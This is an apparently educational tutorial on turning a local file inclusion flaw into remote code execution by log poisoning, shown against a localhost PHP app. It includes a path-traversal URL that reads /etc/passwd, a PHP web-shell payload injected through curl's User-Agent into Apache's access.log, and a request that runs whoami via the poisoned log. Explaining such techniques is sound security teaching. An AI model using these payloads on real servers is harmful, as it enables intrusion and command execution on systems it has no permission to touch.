Introduction
LFI (Local File Inclusion) is a common vulnerability found in web applications, allowing an attacker to include local files in the server. LFI Log Poisoning is a technique that leverages LFI vulnerabilities to write arbitrary content to log files on the server. By doing so, an attacker can leverage a LFI to a RCE.
This is the path of a vulnerable LFI :
http://127.0.0.1/index.php?page=/../../../../etc/passwd
The local file can be read :
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Demonstration
An attacker is now able to include a log file in a URL parameter and then inject malicious code into that log file. When the web application reads the log file, it will execute the malicious code and potentially grant the attacker access to sensitive information or the ability to execute arbitrary commands on the server.
To perform LFI Log Poisoning, we need to inject code into a log file on the server. In this case, we will use the access.log file located in the /var/log/apache2/ directory.
http://127.0.0.1/index.php?page=/../../../../var/log/apache2/access.log
127.0.0.1 - - [05/Apr/2023:10:31:22 -0400] "GET /index.html HTTP/1.1" 200 1248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
127.0.0.1 - - [05/Apr/2023:10:31:22 -0400] "GET /images/logo.png HTTP/1.1" 304 - "https://example.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
127.0.0.1 - - [05/Apr/2023:10:31:24 -0400] "POST /login.php HTTP/1.1" 200 1532 "https://example.com/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
192.168.0.10 - - [05/Apr/2023:11:12:45 -0400] "GET /admin.php HTTP/1.1" 401 381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
192.168.0.10 - admin [05/Apr/2023:11:13:08 -0400] "GET /admin.php HTTP/1.1" 200 2196 "https://example.com/admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
In this case, we can try to change the user-agent to our payload to execute a malicious code.
Let’s generate a cmd parameter.
<?php system($_GET[‘cmd’]); ?>
Modify the user-agent request with curl with option -A
curl http://127.0.0.1/ -A <?php system($_GET[‘cmd’]); ?>
So now we can use the cmd parameter to inject a command. Let’s use whoami and see what’s happen.
curl http://127.0.0.1/index.php?page=/../../../../var/log/apache2/access.log&cmd=whoami
It’s works.
www-data